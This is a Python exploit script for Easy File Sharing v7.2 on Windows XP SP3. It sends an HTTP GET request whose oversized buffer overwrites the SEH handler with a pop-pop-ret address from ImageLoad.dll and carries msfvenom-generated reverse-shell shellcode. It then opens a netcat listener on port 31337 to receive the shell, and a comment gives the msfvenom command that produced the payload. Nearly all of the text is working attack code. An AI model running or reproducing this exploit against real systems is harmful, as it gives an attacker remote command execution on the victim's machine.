#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

if len(sys.argv) < 2:
  print '[*] Easy File Sharing v7.2 exploit'
  print '[*] Usage: {} <ip addr>'.format(sys.argv[0])
  sys.exit(1)

# Windows XP SP3 Professional
# 0x100194b2 pop pop ret [ImageLoad.dll]
# Badchars \x00\x20\x25\x2b\x2f\x5c
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 \
#	LHOST=192.168.94.128 -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c'

shellcode =  ""
shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"
shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"
shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"
shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"
shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"
shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"
shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"
shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"
shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"
shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"
shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"
shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"
shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"
shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"
shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"
shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"
shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"
shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"
shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"
shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"
shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"
shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"
shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"
shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"
shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"
shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"
shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"
shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"
shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"
shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"

buffer = ''
buffer += '\x41' * 4061
buffer += '\xeb\x06\x90\x90' 	# Next SEH
buffer += '\xb2\x94\x01\x10'	# SEH
buffer += '\x44' * (5500 - 4061 - 8 - 16 - len(shellcode))
buffer += shellcode
payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)

try:
	print '[*] Send {} bytes'.format(len(buffer))
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	s.send(payload)
	s.close
except:
	print "[-] Host unreachable"
	sys.exit(1)
finally:
	print "[*] Brrrrrraaaaah! Time for a shell?"
	subprocess.call(['nc -lnvvp 31337'], shell=True)
